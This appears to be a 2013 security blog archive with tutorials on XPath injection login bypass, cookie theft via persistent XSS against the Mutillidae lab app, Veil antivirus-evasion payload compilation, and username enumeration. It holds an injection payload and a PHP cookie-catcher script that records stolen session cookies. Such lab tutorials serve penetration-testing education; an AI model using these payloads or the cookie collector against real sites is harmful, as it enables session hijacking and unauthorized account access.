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Friday, November 29, 2013

XPATH Injection Tutorial

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XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.

We are gonna learn using simple example. Download code from here & put it in your local server directory.(Code is created by Amol Naik )

Sample XML Document which we gonna use:-

<Employees>
<!-- Employees Database -->
  <Employee ID="1">
    <FirstName>Johnny</FirstName>
    <LastName>Bravo</LastName>
    <UserName>jbravo</UserName>
    <Password>test123</Password>
    <Type>Admin</Type>
  </Employee>
  <Employee ID="2">
    <FirstName>Mark</FirstName>
    <LastName>Brown</LastName>
    <UserName>mbrown</UserName>
    <Password>demopass</Password>
    <Type>User</Type>
  </Employee>
  <Employee ID="3">
    <FirstName>William</FirstName>
    <LastName>Gates</LastName>
    <UserName>wgates</UserName>
    <Password>MSRocks!</Password>
    <Type>User</Type>
  </Employee>
  <Employee ID="4">
    <FirstName>Chris</FirstName>
    <LastName>Dawes</LastName>
    <UserName>cdawes</UserName>
    <Password>letmein</Password>
    <Type>User</Type>
  </Employee>
</Employees>

Bypass Authentication:-


Browse to the login.php page; here we can see simple login form.

Bypass Authentication

If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:

Username: ' or '1' = '1
Password:  ' or '1' = '1

Bypass Authentication using XPATH injection

Wednesday, November 20, 2013

Broken Authentication & Session Management in Mutillidae

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Broken Authentication and Session Management is on number 2 in OWASP Top 10 vulnerability list 2013. In mutillidae , it contain three subsection.

  • Authentication Bypass
  • Privilege Escalation
  • Username Enumeration

We have already covered Username enumeration in last article & we got valid username list which exist in database. Today we are going to use authentication bypass method.

  1. Using cookie
  2. Using brute-force
  3. Using SQL injection

(1)Authentication Bypass using cookie:- 

As we know that , mutillidae is vulnerable to XSS, so we can capture cookie with help of XSS. We are going to take advantage of persistent XSS.

http://127.0.0.1/mutillidae/index.php?page=add-to-your-blog.php

Above link is vulnerable to persistent XSS attack. We can submit html to add blog section.so we are going to use cookie-catcher.

Content of cookie_catcher.php :-

<?php
header ("Location: http://192.168.56.1");
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

Upload your cookie_catcher.php to server. For demo i used my local apache server & after execution of script it will redirect to 192.168.56.1.You can change the code according to your need. It will grab IP, cookie, Referer, time & date.

Saturday, November 16, 2013

How to solve compile error in veil?

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As you know, veil is AV evasion framework for metasploit payload. On the 15th of every month, for the next year, at least one new payload module will be released.Yesterday they released two new payload.

  1. pure windows/meterpreter/reverse_tcp stager, no shellcode
  2. pure windows/meterpreter/reverse_tcp windows service stager compatible with psexec, no shellcode

Compiler Error in c payloads:-


 Available c payloads:

    VirtualAlloc                         Poor
    VoidPointer                         Poor
    meter_rev_tcp                     Excellent
    meter_rev_tcp_service        Excellent

c/meter_rev_tcp

I used c/meter_rev_tcp. After setting of LHOST & LPORT ; when i try to generate it ; i got error.

Monday, November 11, 2013

Username Enumeration in Mutillidae using Burpe Intruder.

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Mutillidae  is a free, open source, vulnerable web-application providing a target for web-security tester. Mutillidae can be installed on Linux and Windows using LAMP, WAMP, and XAMMP.

Username Enumeration :- We have an application that will reveal to us when a username exists on the system which can be used in further step like brute-force account.

In Mutilliade login page , when you provide valid username & invalid password , web-application reply us that password incorrect.

Username Enumeration


When we provide invalid username ; then application tell us that Account does not exist.

Username Enumeration Mutillidae

So by monitoring web-application message one can know that username is valid or not.

First we will examine source code of page ; when we provide valid username reply is "var lAuthenticationAttemptResultFlag = 1" & when we provide invalid username reply is "var lAuthenticationAttemptResultFlag = 0"

var lAuthenticationAttemptResultFlag = 1    It means username exist.

var lAuthenticationAttemptResultFlag = 0    It means username does not exist.

UA-35960349-1